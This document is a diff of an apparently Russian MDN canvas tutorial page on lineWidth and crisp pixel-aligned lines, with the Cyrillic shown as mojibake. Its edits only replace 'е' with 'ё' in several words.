-<p>Π¨ΠΈΡ€ΠΈΠ½Π° Π»ΠΈΠ½ΠΈΠΈ - это Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Π° Ρ…ΠΎΠ΄Π°, Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎ Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΏΡƒΡ‚ΠΈ. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, которая нарисована, простираСтся Π΄ΠΎ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρ‹ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π»ΠΈΠ½ΠΈΠΈ ΠΏΠΎ ΠΎΠ±Π΅ стороны ΠΏΡƒΡ‚ΠΈ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ холста Π½Π΅ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π½Π° пиксСли, особоС Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ слСдуСт ΡƒΠ΄Π΅Π»ΡΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΡŽ Ρ‡Π΅Ρ‚ΠΊΠΈΡ… Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… Π»ΠΈΠ½ΠΈΠΉ.</p>
+<p>Π¨ΠΈΡ€ΠΈΠ½Π° Π»ΠΈΠ½ΠΈΠΈ - это Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Π° Ρ…ΠΎΠ΄Π°, Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎ Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΏΡƒΡ‚ΠΈ. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, которая нарисована, простираСтся Π΄ΠΎ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρ‹ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π»ΠΈΠ½ΠΈΠΈ ΠΏΠΎ ΠΎΠ±Π΅ стороны ΠΏΡƒΡ‚ΠΈ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ холста Π½Π΅ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π½Π° пиксСли, особоС Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ слСдуСт ΡƒΠ΄Π΅Π»ΡΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΡŽ Ρ‡Ρ‘Ρ‚ΠΊΠΈΡ… Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… Π»ΠΈΠ½ΠΈΠΉ.</p>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ 10 прямых Π»ΠΈΠ½ΠΈΠΉ Ρ€ΠΈΡΡƒΡŽΡ‚ΡΡ с ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΠ΅ΠΌ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π»ΠΈΠ½ΠΈΠΉ. Линия Π² ΠΊΡ€Π°ΠΉΠ½Π΅ΠΌ Π»Π΅Π²ΠΎΠΌ ΡƒΠ³Π»Ρƒ - 1.0 Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Π° Π»Π΅Π²ΠΎΠΉ ΠΈ всСх Π΄Ρ€ΡƒΠ³ΠΈΡ…Β Π»ΠΈΠ½ΠΈΠΉΒ Π½Π΅Ρ‡Π΅Ρ‚Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π½Π΅ выглядят Ρ‡Π΅Ρ‚ΠΊΠΈΠΌΠΈ ΠΈΠ·-Π·Π° позиционирования ΠΏΡƒΡ‚ΠΈ.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ 10 прямых Π»ΠΈΠ½ΠΈΠΉ Ρ€ΠΈΡΡƒΡŽΡ‚ΡΡ с ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΠ΅ΠΌ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π»ΠΈΠ½ΠΈΠΉ. Линия Π² ΠΊΡ€Π°ΠΉΠ½Π΅ΠΌ Π»Π΅Π²ΠΎΠΌ ΡƒΠ³Π»Ρƒ - 1.0 Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Π° Π»Π΅Π²ΠΎΠΉ ΠΈ всСх Π΄Ρ€ΡƒΠ³ΠΈΡ…Β Π»ΠΈΠ½ΠΈΠΉΒ Π½Π΅Ρ‡Ρ‘Ρ‚Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π½Π΅ выглядят Ρ‡Ρ‘Ρ‚ΠΊΠΈΠΌΠΈ ΠΈΠ·-Π·Π° позиционирования ΠΏΡƒΡ‚ΠΈ.</p>
<pre class="brush: js;highlight[4] notranslate">function draw() {
var ctx = document.getElementById('canvas').getContext('2d');
@@ -232,7 +232,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
<p>{{EmbedLiveSample("ΠŸΡ€ΠΈΠΌΠ΅Ρ€_lineWidth", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}</p>
-<p>ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Ρ‡Π΅Ρ‚ΠΊΠΈΡ… строк Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ понимания ΠΏΡƒΡ‚Π΅ΠΉ сглаТивания. На рисунках Π½ΠΈΠΆΠ΅ прСдставлСна сСтка координат холста. ΠšΠ²Π°Π΄Ρ€Π°Ρ‚Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ сСтками ΡΠ²Π»ΡΡŽΡ‚ΡΡ фактичСскими экранными пиксСлями. Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ сСтки Π½ΠΈΠΆΠ΅ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ ΠΎΡ‚ (2, 1) Π΄ΠΎ (5, 5) заполняСтся. Вся ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ (свСтло-красный) ΠΏΠ°Π΄Π°Π΅Ρ‚ Π½Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ пиксСлСй, поэтому ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‡Π΅Ρ‚ΠΊΠΈΠ΅ края.</p>
+<p>ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Ρ‡Ρ‘Ρ‚ΠΊΠΈΡ… строк Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ понимания ΠΏΡƒΡ‚Π΅ΠΉ сглаТивания. На рисунках Π½ΠΈΠΆΠ΅ прСдставлСна сСтка координат холста. ΠšΠ²Π°Π΄Ρ€Π°Ρ‚Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ сСтками ΡΠ²Π»ΡΡŽΡ‚ΡΡ фактичСскими экранными пиксСлями. Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ сСтки Π½ΠΈΠΆΠ΅ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ ΠΎΡ‚ (2, 1) Π΄ΠΎ (5, 5) заполняСтся. Вся ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ (свСтло-красный) ΠΏΠ°Π΄Π°Π΅Ρ‚ Π½Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ пиксСлСй, поэтому ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‡Ρ‘Ρ‚ΠΊΠΈΠ΅ края.</p>
<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/201/Canvas-grid.png"></p>
@@ -241,14 +241,14 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ это, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½Ρ‹ΠΌΠΈ ΠΏΡ€ΠΈ создании пути. Зная, Ρ‡Ρ‚ΠΎ линия ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉΒ <code>1.0</code>Β Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρƒ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ ΠΏΠΎ ΠΎΠ±Π΅ стороны ΠΏΡƒΡ‚ΠΈ, созданиС ΠΏΡƒΡ‚ΠΈ ΠΎΡ‚ (3.5, 1) Π΄ΠΎ (3.5, 5) ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ситуации Π² Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ - ΡˆΠΈΡ€ΠΈΠ½Π° Π»ΠΈΠ½ΠΈΠΈ <code>1.0</code> закончится Π²Π΅Ρ€Π½ΠΎ,Β Ρ‚ΠΎΡ‡Π½ΠΎ заполняя Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ линию с ΠΎΠ΄Π½ΠΈΠΌ пиксСлСм.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π² нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ с Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠ΅ΠΉ позиция Y ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ ссылаСтся Π½Π° Ρ†Π΅Π»ΠΎΡ‡ΠΈΡΠ»Π΅Π½Π½ΡƒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ сСтки - ΠΈΠ½Π°Ρ‡Π΅ ΠΌΡ‹ ΡƒΠ²ΠΈΠ΄Π΅Π»ΠΈ Π±Ρ‹ пиксСли с ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π½Ρ‹ΠΌ ΠΎΡ…Π²Π°Ρ‚ΠΎΠΌ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡ΠΊΠ°Ρ… (Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ это ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ зависит ΠΎΡ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ стиля <code>lineCap</code>,Β  Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ -Β <code>butt</code>;Β Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚ΡŒ согласованныС ΡˆΡ‚Ρ€ΠΈΡ…ΠΈ с ΠΏΠΎΠ»ΡƒΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°ΠΌΠΈ для Π»ΠΈΠ½ΠΈΠΉ с Π½Π΅Ρ‡Π΅Ρ‚Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ, установив ΡΡ‚ΠΈΠ»ΡŒ <code>lineCap</code>Β Π² <code>square</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ внСшняя Π³Ρ€Π°Π½ΠΈΡ†Π°Β Π²ΠΎΠΊΡ€ΡƒΠ³ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ линии автоматичСски Ρ€Π°ΡΡˆΠΈΡ€ΡΠ»Π°ΡΡŒ, охватывая вСсь пиксСль Π² Ρ‚ΠΎΡ‡ΠΊΡƒ).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π² нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ с Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠ΅ΠΉ позиция Y ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ ссылаСтся Π½Π° Ρ†Π΅Π»ΠΎΡ‡ΠΈΡΠ»Π΅Π½Π½ΡƒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ сСтки - ΠΈΠ½Π°Ρ‡Π΅ ΠΌΡ‹ ΡƒΠ²ΠΈΠ΄Π΅Π»ΠΈ Π±Ρ‹ пиксСли с ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π½Ρ‹ΠΌ ΠΎΡ…Π²Π°Ρ‚ΠΎΠΌ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡ΠΊΠ°Ρ… (Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ это ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ зависит ΠΎΡ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ стиля <code>lineCap</code>,Β  Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ -Β <code>butt</code>;Β Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚ΡŒ согласованныС ΡˆΡ‚Ρ€ΠΈΡ…ΠΈ с ΠΏΠΎΠ»ΡƒΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°ΠΌΠΈ для Π»ΠΈΠ½ΠΈΠΉ с Π½Π΅Ρ‡Ρ‘Ρ‚Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ, установив ΡΡ‚ΠΈΠ»ΡŒ <code>lineCap</code>Β Π² <code>square</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ внСшняя Π³Ρ€Π°Π½ΠΈΡ†Π°Β Π²ΠΎΠΊΡ€ΡƒΠ³ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ линии автоматичСски Ρ€Π°ΡΡˆΠΈΡ€ΡΠ»Π°ΡΡŒ, охватывая вСсь пиксСль Π² Ρ‚ΠΎΡ‡ΠΊΡƒ).</p>
-<p>Π’Π°ΠΊΠΆΠ΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅Β  Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΏΡƒΡ‚ΠΈ: Ссли ΠΏΡƒΡ‚ΡŒ Π·Π°ΠΊΡ€Ρ‹Ρ‚ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>closePath()</code>,Β - Π½Π΅Ρ‚ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ; вмСсто этого всС ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ Π² ΠΏΡƒΡ‚ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ ΠΊ ΠΈΡ… ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½Π½ΠΎΠΌΡƒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌΡƒ ΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ сСгмСнтам ΠΈΒ ΠΏΡ€ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ настройкС стиля <code>lineJoin</code>Β Π²Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈΒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ - <code>miter</code>, с эффСктом автоматичСского Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Π²Π½Π΅ΡˆΠ½ΠΈΡ… Π³Ρ€Π°Π½ΠΈΡ† ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… сСгмСнтов Π΄ΠΎ ΠΈΡ… Ρ‚ΠΎΡ‡ΠΊΠΈ пСрСсСчСния - ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΉ Ρ…ΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎ ΠΏΠΎΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹Π΅ пиксСли с Ρ†Π΅Π½Ρ‚Ρ€ΠΎΠΌ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅, Ссли эти связанныС сСгмСнты Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹ ΠΈ/ΠΈΠ»ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹). Π‘ΠΌ. ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π΄Π²Π° Ρ€Π°Π·Π΄Π΅Π»Π°, Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ ΡΡ‚ΠΈΒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ стили.</p>
+<p>Π’Π°ΠΊΠΆΠ΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅Β  Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΏΡƒΡ‚ΠΈ: Ссли ΠΏΡƒΡ‚ΡŒ Π·Π°ΠΊΡ€Ρ‹Ρ‚ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>closePath()</code>,Β - Π½Π΅Ρ‚ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ; вмСсто этого всС ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ Π² ΠΏΡƒΡ‚ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ ΠΊ ΠΈΡ… ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½Π½ΠΎΠΌΡƒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌΡƒ ΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ сСгмСнтам ΠΈΒ ΠΏΡ€ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ настройкС стиля <code>lineJoin</code>Β Π²Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈΒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ - <code>miter</code>, с эффСктом автоматичСского Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Π²Π½Π΅ΡˆΠ½ΠΈΡ… Π³Ρ€Π°Π½ΠΈΡ† ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Ρ… сСгмСнтов Π΄ΠΎ ΠΈΡ… Ρ‚ΠΎΡ‡ΠΊΠΈ пСрСсСчСния - ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΉ Ρ…ΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎ ΠΏΠΎΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹Π΅ пиксСли с Ρ†Π΅Π½Ρ‚Ρ€ΠΎΠΌ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅, Ссли эти связанныС сСгмСнты Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹ ΠΈ/ΠΈΠ»ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹). Π‘ΠΌ. ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π΄Π²Π° Ρ€Π°Π·Π΄Π΅Π»Π°, Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ ΡΡ‚ΠΈΒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ стили.</p>
</div>
-<p>Для Π»ΠΈΠ½ΠΈΠΉ с Ρ‡Π΅Ρ‚Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ каТдая ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π° заканчиваСтся ΠΊΠ°ΠΊ Ρ†Π΅Π»ΠΎΠ΅ количСство пиксСлСй, поэтому Π²Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ ΠΏΡƒΡ‚ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ находится ΠΌΠ΅ΠΆΠ΄Ρƒ пиксСлями (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ (3,1) - (3,5)), вмСсто сСрСдины пиксСлСй.</p>
+<p>Для Π»ΠΈΠ½ΠΈΠΉ с Ρ‡Ρ‘Ρ‚Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ каТдая ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π° заканчиваСтся ΠΊΠ°ΠΊ Ρ†Π΅Π»ΠΎΠ΅ количСство пиксСлСй, поэтому Π²Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ ΠΏΡƒΡ‚ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ находится ΠΌΠ΅ΠΆΠ΄Ρƒ пиксСлями (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ (3,1) - (3,5)), вмСсто сСрСдины пиксСлСй.</p>
-<p>Π₯отя это ΠΈ Π½Π΅ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΡˆΡŒ с ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΉ 2D-Π³Ρ€Π°Ρ„ΠΈΠΊΠΎΠΉ, обращая Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° сСтку пиксСлСй ΠΈ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡƒΡ‚Π΅ΠΉ, Π½ΠΎ Π²Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ ваши рисунки Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ, нСзависимо ΠΎΡ‚ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ. Π’Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Π°Ρ линия ΡˆΠΈΡ€ΠΈΠ½Ρ‹ 1,0, построСнная Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, станСт Ρ‡Π΅Ρ‚ΠΊΠΎΠΉ 2-пиксСльной Π»ΠΈΠ½ΠΈΠ΅ΠΉ ΠΏΡ€ΠΈ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΠΈ Π½Π° 2 ΠΈ появится Π² 